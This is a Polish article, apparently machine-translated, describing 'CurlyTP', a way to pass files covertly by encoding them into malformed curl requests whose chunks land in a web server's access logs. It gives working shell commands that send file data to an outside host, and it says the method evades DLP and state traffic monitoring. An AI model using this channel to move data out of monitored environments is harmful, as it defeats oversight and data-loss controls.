Wymiana tajnych wiadomości poprzez logi serwera

Zgodnie z definicją Wikipedii, martwy zrzut to narzędzie konspiracyjne, które służy do wymiany informacji lub niektórych przedmiotów pomiędzy osobami korzystającymi z tajnej lokalizacji. Pomysł jest taki, że ludzie nigdy się nie spotykają, a mimo to wymieniają informacje, aby zachować bezpieczeństwo operacyjne.

Kryjówka nie powinna przyciągać uwagi. Dlatego w świecie offline często sięgają po dyskretne rzeczy: luźną cegłę w ścianie, książkę z biblioteki czy dziuplę w drzewie.

W Internecie istnieje wiele narzędzi do szyfrowania i anonimizacji, jednak uwagę zwraca sam fakt korzystania z tych narzędzi. Ponadto mogą zostać zablokowane na poziomie korporacyjnym lub rządowym. Co robić?

Deweloper Ryan Flowers zaproponował interesującą opcję - użyj dowolnego serwera WWW jako kryjówki. Jeśli się nad tym zastanowić, co robi serwer WWW? Odbiera żądania, wydaje pliki i zapisuje logi. I rejestruje wszystkie żądania, nawet nieprawidłowe!

Okazuje się, że dowolny serwer WWW pozwala na zapisanie w logu niemal dowolnej wiadomości. Flowers zastanawiała się, jak to wykorzystać.

Oferuje taką opcję:

  1. Weź plik tekstowy (tajna wiadomość) i oblicz skrót (sumę md5).
  2. Kodujemy go (gzip+uuencode).
  3. Do logu zapisujemy celowo nieprawidłowe żądanie do serwera.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Aby odczytać plik, należy wykonać poniższe operacje w odwrotnej kolejności: zdekodować i rozpakować plik, sprawdzić hash (hash można bezpiecznie przesyłać otwartymi kanałami).

Spacje są zastępowane przez =+=tak aby w adresie nie było spacji. Program, który autor nazywa CurlyTP, wykorzystuje kodowanie base64, podobnie jak załączniki do wiadomości e-mail. Żądanie jest składane za pomocą słowa kluczowego ?transfer?tak, aby odbiorca mógł łatwo odnaleźć to w logach.

Co w tym przypadku widzimy w logach?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Jak już wspomniano, aby otrzymać tajną wiadomość, należy wykonać operacje w odwrotnej kolejności:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Proces jest łatwy do zautomatyzowania. Suma Md5 jest zgodna, a zawartość pliku potwierdza, że ​​wszystko zostało poprawnie zdekodowane.

Metoda jest bardzo prosta. „Celem tego ćwiczenia jest po prostu udowodnienie, że pliki można przesyłać za pośrednictwem niewinnych, małych żądań internetowych i działa to na każdym serwerze internetowym z dziennikami w postaci zwykłego tekstu. Zasadniczo każdy serwer internetowy jest kryjówką!” – pisze Flowers.

Oczywiście metoda działa tylko wtedy, gdy odbiorca ma dostęp do logów serwera. Ale taki dostęp zapewnia na przykład wielu hosterów.

Jak tego użyć?

Ryan Flowers twierdzi, że nie jest ekspertem w dziedzinie bezpieczeństwa informacji i nie sporządzi listy możliwych zastosowań CurlyTP. Dla niego to po prostu dowód na to, że znane nam na co dzień narzędzia można wykorzystać w niekonwencjonalny sposób.

W rzeczywistości ta metoda ma wiele zalet w porównaniu z innymi „ukryciami” serwerów, takimi jak Cyfrowy martwy spadek lub Pudełko piratów: nie wymaga specjalnej konfiguracji po stronie serwera ani żadnych specjalnych protokołów - i nie wzbudzi podejrzeń wśród osób monitorujących ruch. Jest mało prawdopodobne, aby system SORM lub DLP skanował adresy URL w poszukiwaniu skompresowanych plików tekstowych.

Jest to jeden ze sposobów przesyłania wiadomości za pośrednictwem plików usług. Możesz pamiętać, jak zajmowały się niektóre zaawansowane firmy Zadania programisty w nagłówkach HTTP lub w kodzie stron HTML.

Wymiana tajnych wiadomości poprzez logi serwera

Pomysł był taki, że tylko twórcy stron internetowych zobaczyliby to jajko wielkanocne, ponieważ normalna osoba nie spojrzałaby na nagłówki ani kod HTML.

Wymiana tajnych wiadomości poprzez logi serwera

Źródło: www.habr.com

Dodaj komentarz